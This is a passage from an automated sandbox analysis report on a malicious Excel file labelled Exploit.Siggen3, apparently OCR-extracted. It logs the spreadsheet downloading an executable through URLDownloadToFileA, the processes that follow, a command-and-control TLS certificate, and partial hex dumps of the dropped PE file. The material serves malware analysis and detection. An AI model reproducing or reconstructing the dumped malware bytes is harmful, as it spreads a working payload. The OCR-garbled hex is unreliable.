b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44
4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd 2a 96 79 f9 4b 8 2a f9 4b f8 2a f9 4b 8 2a a2 23 fb 2b f3 4b
8 2a a2 23 fd 2b 7e 4b f8 2a a2 23 fc 2b eb 4b f8 2a 01 3b fc 2b 6 4b f8 2a 01 3b fb 2b e8 4b f8 2a a2 23 9 2b fc 4b 8 2a
9 4b f9 2a 9a 4b 8 2a 01 3b fd 2b d8 4b f8 2a 4e 3a f1 2b f4 4b f8 2a 4e 3a f8 2b f8 4b 8 2a 4e 3a 07 2a f8 4b f8 2a 4e 3a
fa 2b 8 4b f8 2a 52 69 63 68 f9 4b f8 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45
00 00 4c 01 05 00 a4 73 2f 60 00 00 00 00 00 00 00 00 e0 00 02 21 Ob 01 Oe 1b 00 72 42 00 00 a4 03 00 00 00 00 00 c2
7d 41 00 00 10 00 00 00 90 42 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00
00 60 46 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00
00 20 8f 44 00 60 01 00 00 80 90 44 00 3c 00 00 00 00 cO 44 00 58 70 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 40 46 00 b0 11 00 00 60 81 44 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 d0 81 44 00 40 00 00 00 00 00 00 00 00 00 00 00 00 90 42 00 58 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 df 71 42 00 00 10 00 00 00 72 42 00 00 04 00 00 00 00 00 O
000 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 18 08 02 00 00 90 42 00 00 Oa 02 00 00 76 42 00 00 00
00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 38 15 00 00 00 a0 44 00 00 Oa 00 00 00 80 44 00 00
00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO 2e 72 73 72 63 00 00 00 58 70 01 00 00 cO 44 00 00 72 01 00 00 8a 44 00
00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6¢ 6f 63 00 00 b0 11 00 00 00 40 46 00 00 12 00 00 00 fc 45
00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 68 1a e6 68 07 ba 91 2f 00 00 33 c9 e8 ff 3¢ 08 00 6a 00 ff dO 33 cO 3 cc cc cC cC cC cC cC CC
Data Ascii: 2000MZ@!L!This program cannot be run in DOS mode.$*yK*K* K #+ K #+~K*#+K*, +K*; + K+ KAKFK*;
+K*N:+K*N:+K*N:*K*N:+K*RichK*PELs/ IrB}AB'F@ D D<DXp@F DpD@BX.textqBrB ".rdataBvB@ @.data8DD@.rsrcXpD
rD@@.reloc@FE@Bhh/3<j3

Source Dest Not Not JA3 SSL Client

Timestamp Source IP Port Dest IP Port  Subject Issuer Before After Fingerprint JA3 SSL Client Digest
Feb 20, 2021 142.202.191.164 443 192.168.2.22 49166 CN=Kognu, O=Qjvoobim, CN=Koqgnu, Thu Oct Sun Sep 769,49172-49171- 8c4a22651d328568ec663
03:17:14.477143049 L=DavhIVuwmxy, C=2Z 0O=Qjvoobim, 01 29 57-51-53-47- 82a84fc505f
CET L=DavhIVuwmxy, 03:17:34 03:17:34 49162-49161-56-

C=z2 CEST CEST 50-10-19-5-4,10-

2020 2030 11-23-65281,23-
24,0
Code Manipulations
Statistics
Behavior
@ EXCEL.EXE

Copyright null 2021

@ rundll32.exe
@ rundll32.exe
@ wermgr.exe
@ wermgr.exe
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System Behavior

Click to jump to process

Analysis Process: EXCEL.EXE PID: 1916 Parent PID: 584

General

Start time: 03:16:30

Start date: 20/02/2021

Path: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
Wow64 process (32bit): false

Commandline: ‘C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE' /automation -Embedding
Imagebase: 0x13f910000

File size: 27641504 bytes

MDS5 hash: 5FBOAOF93382ECD19F5F499A5CAAS9F0

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Activities

File Created
Source
File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\B970.tmp read attributes | device synchronous io  success or wait 1 13FC5EC83 GetTempFileNameW
synchronize | non alert | non
generic read directory file
C:\Users\user\AppData\Local\Temp\CBBE00OO read attributes | device synchronous io success or wait 1 7TFEEA9E9ACO unknown
synchronize | non alert | non
generic read | directory file |
generic write open no recall
C:\Users\user read data or list device directory file |  object name 1 14063828C URLDownloadToFileA
directory | synchronous io  collision
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Local read data or list device directory file |  object name 1 14063828C URLDownloadToFileA
directory | synchronous io  collision
synchronize non alert | open

for backup ident
| open reparse
point
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File Path

Access Attributes

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet read data or list device

Files

C:\Users\user

C:\Users\user\AppData\Roaming

C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies

C:\Users\user

C:\Users\user\AppData\Local

C:\Users\user\AppData\Local\Microsoft\Windows\History

C:\Users\user\BASE.BABAA

C:\Users\user\AppData\Local\Temp\2B94.tmp

File Deleted

File Path

C:\Users\user\AppData\Local\Temp\B970.tmp
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.cs~
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.ht~
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.ht~
C:\Users\user\AppData\Local\Temp\imgs_files\image002.pn~
C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xm~
C:\Users\user\AppData\Local\Temp\imgs.rcv
C:\Users\user\AppData\Local\Temp\imgs.ht~
C:\Users\user\AppData\Local\Temp\2B94.tmp

File Moved

Old File Path

C:\Users\user\AppData\Local\Temp\CBBEOOOO
C:\Users\user\Desktop\AEBE000O

C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.css
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.htm
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.htm
C:\Users\user\AppData\Local\Temp\imgs_files\image002.png
C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xml

Copyright null 2021

directory |
synchronize

read data or list device
directory |
synchronize

read data or list device
directory |
synchronize

read data or list device
directory |
synchronize

read data or list device
directory |
synchronize

read data or list device
directory |
synchronize

read data or list device
directory |
synchronize

Options

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

Completion Count
object name 1
collision

object name 1
collision

object name 1
collision

object name 1
collision

object name 1
collision

object name 1
collision

object name 1
collision

read attributes | device synchronous io success or wait 1
synchronize | non alert | non
generic write directory file
read attributes | device synchronous io success or wait 1
synchronize | non alert | non
generic read directory file

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

New File Path
C:\Users\user\AppData\Local\Temp\xIsm.sheet.csv

C:\Users\user\Desktop\Securitelnfo.com.Exploit.Siggen3.10350
.13127.xls

C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.cs~..
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.ht~s~
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.ht~s~
C:\Users\user\AppData\Local\Temp\imgs_files\image002.pn~s~

C:\Users\user\AppData\Local\Temp\imgs_files\filelist. xm~s~

Completion
success or wait

success or wait

success or wait
success or wait
success or wait
success or wait

success or wait

Source
Address

14063828C

14063828C URLDownloadToFileA

14063828C URLDownloadToFileA

14063828C URLDownloadToFileA

14063828C URLDownloadToFileA

14063828C URLDownloadToFileA

14063828C URLDownloadToFileA

14063828C URLDownloadToFileA

13FC5EC83 GetTempFileNameW

Source

Count Address Symbol

1 13FECB818 DeleteFileW
1 TFEEA9E9ACO unknown
1 TFEEA9E9ACO unknown
1 TFEEA9E9ACO unknown
1 TFEEA9E9ACO unknown
1 TFEEA9E9ACO unknown
1 TFEEA9E9ACO unknown
1 TFEEA9E9ACO unknown

1 13FECB818 DeleteFileW

Source

Count Address Symbol

1 TFEEA9E9ACO unknown

1 TFEEA9E9ACO unknown

1 7TFEEA9E9ACO unknown

1 7TFEEA9E9ACO unknown

1 7TFEEA9E9ACO unknown

1 7TFEEA9E9ACO unknown

1 7TFEEA9E9ACO unknown

Symbol
URLDownloadToFileA
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Old File Path
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.cs_
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.ht_
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.ht_
C:\Users\user\AppData\Local\Temp\imgs_files\image003.pn_

C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xm__

File Written
File Path Offset
C:\Users\user\AppData\Local\Temp\CBBEOOOO 569
C:\Users\user\AppData\Local\Temp\CBBEOOOO 1022

Copyright null 2021

New File Path

C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.css..
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.htmss
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.htmss
C:\Users\user\AppData\Local\Temp\imgs_files\image003.pngss

C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xmlss

Length Value

453

2

ac 95 cb 6e db 30
10 45 f7 05 fa Of
02 b7 85 44 27 05
8a a2 b0 9c 45 9b
2e db 00 49 3f 80
26 c7 12 6b be cO
61 12 fb ef 3b a4
1d b7 35 1c 4b aa
bb d1 8b 9a 7b ee
cc 48 c3 f9 cd c6
9a ea 09 22 6a ef
5a 76 d5 cc 58 05
4e 7a a5 5d d7 b2
1f Of 5f eb 8f ac
€224 9c12c6 3b
68 d9 16 90 dd 2¢c
de be 99 3f 6¢c 03
60 45 d1 Oe 5b d6
a7 14 3e 71 8e b2
07 2b b0 f1 01 1c
ad ac 7c b4 22 d1
6d ec 78 1072 2d
3a e0d7 b3 d9 07
2e bd 4b e0 52 9d
b2 06 5b cc bf cO
4a 3c 9a 54 dd 6e
e8 fl ce c9 52 3b
56 7d de bd 97 51
2d 1321 18 2d 45
22 a3fcc9 a9 23
48 ed 57 2b 2d 41
79 f9 68 49 ba c1
1041 28 ec 01 92
35 4d 88 9a 88 f1
le52a2c490f1
93 cc 9f 01 ba 23
a8 b6 d9 74 59 38
1d 13 cle0 51 cc
80 d1 7d 25 1a 8a
2c c9 60 af 03 be
a3 72 bd e2 2a af
bc 5e 89 7d dc 77
6a 61 d4

03 00

Ascii

..N.0.E.....D"...E...I7.
&.k.a..;.5.K...{ H..
L2V XINZ B
h...2LE.[..>q..+....

Jmuxr- KR
J<T.n...RV}L.Q-1.-E"..#
H.W+-
Ay.hl..A(...5M....R....
..... #..1Y8...Q..}%..,. ...
rox A lwija.

Completion

success or wait
success or wait
success or wait
success or wait

success or wait

Completion
success or wait 22
success or wait 22

Source

Count Address Symbol
1 7TFEEA9E9ACO unknown
1 7TFEEA9E9ACO unknown
1 7TFEEA9E9ACO unknown
1 7TFEEA9E9ACO unknown
1 7TFEEA9E9ACO unknown

Source
Count Address

Symbol
7FEEA9E9ACO unknown

TFEEA9E9ACO unknown

Page 30 of 50



File Path
C:\Users\user\AppData\Local\Temp\CBBEOOOO

C:\Users\user\AppData\Local\Temp\CBBEOOOO

Copyright null 2021

Offset
0

9564

Length Value

50 4b 03 04 14 00 PK
06 00 08 00 00 00 [Content_Types].xml ...

569

65536

21000c237c8c (

c7 0100005807 ..
000013000802 ..

5b 43 6f 6e 74 65
6e 74 5f 54 79 70

65735d2e 78 6d ..
6¢c20a2 040228 ...

a0 00 02 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00

ffd8 ff el 1c c5
45 78 69 66 00 00 ..
4d 4d 00 2a 00 00 ..
00080007 01 12 ..
0003 00000001 ..

Ascii

0001 00 00 01 1a (Windows).2021:02:11
000500000001 21:05:53.....

0000006201 1b ...
000500000001 ..
0000006a0128 ..

00 03 00 00 00 01
0003000001 31
00 02 000000 1e
000000720132
00 02 00 00 00 14
00 00 00 90 87 69
00 04 00 00 00 01
00 00 00 a4 00 00
00 d0 00 1e 84 80
000027 1000 1e
84 800000 27 10
41 64 6f 62 65 20
50 68 6f 74 6f 73
68 6f 70 20 43 53
36 20 28 57 69 6e
64 6f 77 73 29 00
323032313a30
323a31312032
313a30353a35
33000003 a0 01
00 03 00 00 00 01
ff ff 00 00 a0 02
00 04 00 00 00 01
00 00 Ob 86 a0 03
00 04 00 00 00 01
00 00 07 8e 00 00
00 00 00 00 00 06
01 03 00 03 00 00
00 01 00 06 00 00
01 1a 00 05 00 00
0001000001 1e
01 1b 00 05 00 00
00 01 00

Adobe Photoshop CS6

Completion

success or wait

success or wait

Count Address
23

8

Source
Symbol

7TFEEA9E9ACO unknown

7TFEEA9E9ACO unknown
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File Path
C:\Users\user\AppData\Local\Temp\CBBEOOOO

C:\Users\user\Desktop\AEBE000O

Copyright null 2021

Offset
153877 1653

unknown 16384

Length Value

Ascii

58 07 00 00 13 00 IsPK.
00 00 00 00 00 QO .............. &...xII_rels/wor
00 00 00 00 00 00 kbook.xml.relsPK..-
00 00 00 00 5b 43 o@T'
6f 6e 74 65 6e 74 xl/workbook.xml
5f54 79 70 65 73

5d 2e 78 6d 6¢ 50

4b 01 02 2d 00 14

00 06 00 08 00 00

00 21 00 b5 55 30

23 f5 00 00 00 4c

02 00 00 Ob 00 00

00 00 00 00 00 00

00 00 00 00 00 00

04 00 00 5f 72 65

6¢c 73 2f 2e 72 65

6¢ 73 50 4b 01 02

2d 00 14 00 06 00

08 00 00 00 21 00

c6 33 e4 6d 20 01

00 00 c2 03 00 00

1a 00 00 00 00 00

00 00 00 00 00 00

00 00 26 07 00 00

78 6¢ 2f 5f 72 65

6c 73 2f 77 6f 72

6b 62 6f 6f 6b 2e

78 6d 6C 2e 72 65

6¢ 73 50 4b 01 02

2d 00 14 00 06 00

08 00 00 00 21 00

6f 40 54 27 ac 01

00 00 Oc 03 00 00

0f 00 00 00 00 00

00 00 00 00 00 00

00 00 86 09 00 00

78 6¢ 2f 77 6f 72

6b 62 6f 6f 6b 2e

78 6d 6¢C

090810000006 ........ ()2 S—
0500 67 32 cd 07
¢9 80 01 00 06 06
00 00 e1 00 02 00
b0 04 c¢1 00 02 00
0000 e2 000000 ..
5¢ 00 70 00 02 00
00 20 20 20 20 20
2020 20 20 20 20
2020 20 20 20 20
2020 20 20 20 20
202020 20 20 20
2020 20 20 20 20
202020 20 20 20
2020 20 20 20 20
2020 20 20 20 20
202020 20 20 20
2020 20 20 20 20
2020 20 20 20 20
2020 20 20 20 20
2020 20 20 20 20
202020 20 20 20
2020 20 20 20 20
2020 20 20 20 20
2020 20 20 20 20
2020 42 00 02 00
b0 04 61 01 02 00
00 00 c0 01 00 00
3d 01 06 00 07 00
05 00 04 00 9c 00
02 00 11 00 19 00
02 00 0000 12 00
02 00 00 00 13 00
02 00 00 00 af 01
02 00 00 00 bc 01
02 00 00 00 3d 00
12 00 f0 00 69 00
d5 39 4a 1f 38 00
00 00 00 00 01 00
58 02 40 00 02 00
00 00 8d 00 02 00
00 00 22 00 02 00
00 00 Oe

Completion

success or wait

success or wait

Source

Count Address Symbol
1 7TFEEA9E9ACO unknown
9 TFEEA9E9ACO unknown
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File Path
C:\Users\user\Desktop\AEBE000O

C:\Users\user\Desktop\AEBE000O

Copyright null 2021

Offset Length Value

unknown 10137

unknown 16384

49 ed 10 e0 c1 09
2d 0a 69 20 Oe de

0f Obe0 08 12 fa sa.mi.V:l.._s."{.>.9....p...R
425f74defl 61 5.H..2.V.)....&....3..(SW.
...sR....3.ulwm..... XCIf.@

15 3d a9 Oe 22 7d

Ascii

Lemid e B_t.a.=..

A - A

02 5e e38d3b 06 ...

9b bf 81 af Oe Oc
13 5e 89 87 09 bf
€9 1d dc 1b 2b af
95 0d d7 14 ff 00
73 61 1la 6d 69 a2
56 3a 49 b1 fd 5f
73 0e 22 7b 1b 3e
04 39 b2 1d ed 8d
f8 70 03 f8 17 52
35 7f 48 a9 fc 85
3f 97 56 cd 29 15
89 fc ba a9 26 d9
b5 95 ce 9d 9e 33
b5 89 28 73 57 92
a8 ff 00 73 52 c6
96 11 df 33 af 75
55 77 6d fd ed de
ef 8¢ ce 58 43 6¢
66 14 40 b6 98 06
f9 cc eb 96 14 1b
49 89 54 6d 6d 46
fb 95 89 1c 49 4a
62 2b d2 dO c5 63
7a 8e 26 dael dl
f1 62 ac 50 e8 4e
4c 7c cf 6d 57 e6
b4 90 2f 3e aa 88
0a 87 8d 2b 6e 6d
9f 2e de 47 b1 89
0Ob 52 8 0f 36 70
b5 54 a8 f2 38 dO
2f f2 7f 22 25 59
d1 3047 cafcle
56 14 4d 51 54 96
7b 5b dd 4f 41 5a
0d 62 24 9b 49 e7
bb e8 al

09 08 10 00 00 06
0500 67 32 cd 07
¢9 80 01 00 06 06
00 00 e1 00 02 00
b0 04 c¢1 00 02 00

0000 e2 000000 ..

5¢ 00 70 00 02 00
00 20 20 20 20 20
2020 20 20 20 20
2020 20 20 20 20
2020 20 20 20 20
202020 20 20 20
2020 20 20 20 20
202020 20 20 20
2020 20 20 20 20
2020 20 20 20 20
202020 20 20 20
2020 20 20 20 20
202020 20 20 20
2020 20 20 20 20
2020 20 20 20 20
202020 20 20 20
2020 20 20 20 20
2020 20 20 20 20
2020 20 20 20 20
2020 42 00 02 00
b0 04 61 01 02 00
00 00 c0 01 00 00
3d 01 06 00 07 00
05 00 04 00 9c 00
02 00 11 00 19 00
02 000000 12 00
02 00 00 00 13 00
02 00 00 00 af 01
02 00 00 00 bc 01
02 00 00 00 3d 00
12 00 f0 00 69 00
d5 39 4a 1f 38 00
00 00 00 00 01 00
58 02 40 00 02 00
00 00 8d 00 02 00
00 00 22 00 02 00
00 00 Oe

. TmmF....1Jb+...cz.&...

.b.P.NL|.mW.../>.....4nm...
G..
.R..6p.T..8./.."%Y.0G...V.
MQT {[.OAZ.b$.I....

Completion

success or wait

success or wait

Source

Count Address Symbol
1 7TFEEA9E9ACO unknown
1 7TFEEA9E9ACO unknown
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File Path
C:\Users\user\Desktop\AEBE000O

C:\Users\user\Desktop\AEBE000O

Copyright null 2021

Offset Length Value

unknown 200

unknown 288

fe ff 00 00 06 01

Ascii Completion

success or wait

020000000000 ...

00 00 00 00 00 00

000000000000 ..
01000000e085 .

of f2 f9 4f 68 10
ab 91 08 00 2b 27
b3 d9 30 00 00 00
98 00 00 00 07 00
00 00 01 00 00 00
40 00 00 00 04 00
00 00 48 00 00 00
08 00 00 00 54 00
00 00 12 00 00 00
60 00 00 00 Oc 00
00 00 78 00 00 00
0d 00 00 00 84 00
00 00 13 00 00 00
90 00 00 00 02 00
00 00 e4 04 00 00
1e 00 00 00 04 00
00 00 00 00 00 00
1e 00 00 00 04 00
00 00 00 00 00 00
1e 00 00 00 10 00
00 00 4d 69 63 72
6f 73 6f 66 74 20
4578 63 65 6¢ 00
40 00 00 00 00 cO
7c 0d 23 d9 c6 01
40 00 00 00 00 d5
c5d8 79 07 d7 01
03 00 00 00 00 00
00 00

fe ff 00 00 06 01

020000000000 ..

00 00 00 00 00 00

..Microsoft
Excel.@.....|.#...
@....... A

success or wait

00 0000000000 ..h..

0100000002d5 ..

cd d5 9c 2e 1b 10
9397 08 00 2b 2¢
9 ae 30 00 00 00
f0 00 00 00 08 00
00 00 01 00 00 00
48 00 00 00 17 00
00 00 50 00 00 00
0Ob 00 00 00 58 00
00 00 10 00 00 00
60 00 00 00 13 00
00 00 68 00 00 00
16 00 00 00 70 00
00 00 0d 00 00 00
78 00 00 00 Oc 00
00 00 ac 00 00 00
02 00 00 00 e4 04
00 00 03 00 00 00
00 00 Oe 00 Ob 00
00 00 00 00 00 00
Ob 00 00 00 00 00
00 00 Ob 00 00 00
00 00 00 00 Ob 00
00 00 00 00 00 00
le 10 00 00 03 00
00 00 0d 00 00 00
20 20 44 6f 63 75
53 69 67 6e 20 20
00 09 00 00 00 44
6f 63 75 53 69 67
6e 00 0a 00 00 00
44 6f 63 75 53 69
67 6e 20 00 Oc 10
00 00 04 00 00 00
1e 00 00 00 Ob 00
00 00 57 6f 72 6b
73 68 65 65 74 73
00 03 00 00 00 01
00 00 00

Source

Count Address Symbol

1

1

7TFEEA9E9ACO unknown

7FEEA9E9ACO unknown
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File Path
C:\Users\user\Desktop\AEBE000O

C:\Users\user\AppData\Local\Mi
crosoft\Windows\Temporary Internet
Files\Content.|IE5\T40403J2\10[1].jjkes

Copyright null 2021

Offset
unknown 2048

unknown 742

Length Value

01 00 00 00 02 00

000003000000 ..
040000000500 ..
00 00 06 00 0000 ..
07 0000000800 ..

00 00 09 00 00 00

0a 00 00 00 0b 00 ..

00000c 000000 ..6...7...8...

0d 00 00 00 Oe 00
00 00 0f 00 00 00
1000 00 00 11 00
00 00 12 00 00 00
13 00 00 00 14 00
00 00 15 00 00 00
16 00 00 00 17 00
00 00 18 00 00 00
19 00 00 00 1a 00
00 00 1b 00 00 00
1c 00 00 00 1d 00
00 00 1e 00 00 00
1f 00 00 00 20 00
00 00 21 00 00 00
2200 00 00 23 00
00 00 24 00 00 00
2500 00 00 26 00
00 00 27 00 00 00
28 00 00 00 29 00
00 00 2a 00 00 00
2b 00 00 00 2c 00
00 00 2d 00 00 00
2e 00 00 00 2f 00
00 00 30 00 00 00
3100 00 00 32 00
00 00 33 00 00 00
34 00 00 00 35 00
00 00 36 00 00 00
37 00 00 00 38 00
00 00 39 00 00 00
3a 00 00 00 3b 00
00 00 3¢ 00 00 00
3d 00 00 00 3e 00
00 00 3f 00 00 00
40 00 00

4d 5a 90 00 03 00

000004000000 ..

ff ff 00 00 b8 00

00 00 00 00 00 00
40 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00

L.IThis program

cannot be run in DOS

mode....

S Y KEKE K> # A+ K
FHAKFHA KK

o

LA IR N

00 00 00 000000 :

10 01 00 00 Oe 1f
ba Oe 00 b4 09 cd
21 b8 01 4ccd 21
54 68 69 73 20 70
72 6f 67 72 61 6d
20 63 61 6e 6e 6f
74 20 62 65 20 72
75 6e 20 69 6e 20
44 4£53 20 6d 6f
64 65 2e 0d 0d Oa
24 00 00 00 00 00
00 00 bd 2a 96 79
9 4b 8 2a 9 4b
f8 2af9 4b f8 2a
a2 23 fb 2b f3 4b
f8 2a a2 23 fd 2b
7e 4b f8 2a a2 23
fc 2b eb 4b f8 2a
01 3b fc 2b f6 4b
f8 2a 01 3b fb 2b
e8 4b f8 2a a2 23
9 2b fc 4b 8 2a
9 4b f9 2a 9a 4b
f8 2a 01 3b fd 2b
d8 4b 8 2a 4e 3a
1 2b f4 4b 8 2a
4e 3af8 2b f8 4b
8 2a 4e 3a 07 2a
8 4b f8 2a 4e 3a
fa 2b 8 4b 18 2a
52 69 63 68 f9 4b
8 2a 00 00 00 00
00 00 00

A KN KANL* KN+,

K*Rich.K.*.......

Completion

success or wait

success or wait

Source
Count Address

Symbol

1 7TFEEA9E9ACO unknown

1 14063828C

URLDownloadToFileA
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Windows\Temporary Internet
Files\Content.|IE5\T40403JZ\10[1].jjkes

C:\Users\user\AppData\Local\Mi
crosoft\Windows\Temporary Internet
Files\Content.|IE5\T40403J2\10[1].jjkes

Copyright null 2021

Offset Length Value

unknown 8184

unknown 4164

00 00 00 00 00 00

000000000000 ..
00 0000000000 ..
000000000000 ..
00 0000000000 ..
00 0000000000 ..

00 00 00 00 00 00

00 0000000000 ..

00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00

14 08 00 8b 55 ec
83 ¢2 018955 ec
8b 45 ec 83 c0 01

8945ecc745ec .U.E...E..E...E|.

00 00 00 00 c6 45
f3 a7 8d 4d f3 51

U U.E..E.E..E
~M.QM.....U...U.E..

~En.M.Q.M.k...U...U..E.

8b4d 08 e8e6 13 .

08 00 8b 55 ec 83
€2 018955 ec 8b
45 ec 83 c0 01 89
45 ec c7 45 ec 00
00 00 00 c6 45 f3
82 8d 4d f3 51 8b
4d 08 e8 bd 13 08
00 8b 55 ec 83 c2
01 89 55 ec 8b 45
ec 83 ¢c001 89 45
ec c7 45 ec 00 00
00 00 c6 45 f3 7¢
8d 4d f3 51 8b 4d
08 €8 94 13 08 00
8b 55 ec 83 ¢c2 01
8955 ec 8b 45 ec
830018945 ec
c7 45 ec 00 00 00
00 c6 45 f3 6e 8d
4d f3 51 8b 4d 08
e8 6b 13 08 00 8b
55 ec 83 c2 01 89
55 ec 8b 45 ec 83
c0 01 89 45 ec c7
45 ec 00 00 00 00
c6 45 f3 8e 8d 4d
f3518b 4d 08 e8
4213 08 00 8b 55
ec 83¢c2 018955
ec 8b 45 ec 83 cO
01 89 45 ec c7 45
ec 00 00 00 00 c6
45 f3 {7 8d 4d 3
51 8b 4d 08 e8 19
1308 00 8b 55 ec
83c201

PN EN RN O IVN S .
U U oo Bl S S Mk

Completion

success or wait

success or wait

Source
Count Address

1 14063828C

1 14063828C

Symbol
URLDownloadToFileA

URLDownloadToFileA
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File Path
C:\Users\user\BASE.BABAA

C:\Users\user\AppData\Local\Mi
crosoft\Windows\Temporary Internet
Files\Content.|IE5\T40403J2\10[1].jjkes

Copyright null 2021

Offset
unknown 13090

unknown 8184

Length Value

4d 5a 90 00 03 00

000004000000 ..

ff ff 00 00 b8 00

00 00 00 00 00 00
40 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00

Source

Ascii Completion Count Address

success or wait 1 14063828C

L.IThis program
cannot be run in DOS
mode....

S By KEKE K> # A+ K
FHAKFH A KK
+
K+ Kx KA KA+ KN

00 00 00 000000 :

10 01 00 00 Oe 1f
ba Oe 00 b4 09 cd
21 b8 01 4ccd 21
54 68 69 73 20 70
72 6f 67 72 61 6d
20 63 61 6e 6e 6f
74 20 62 65 20 72
75 6e 20 69 6e 20
44 4£53 20 6d 6f
64 65 2e 0d 0d Oa
24 00 00 00 00 00
00 00 bd 2a 96 79
9 4b 8 2a 9 4b
8 2af9 4b f8 2a
a2 23 fb 2b f3 4b
f8 2a a2 23 fd 2b
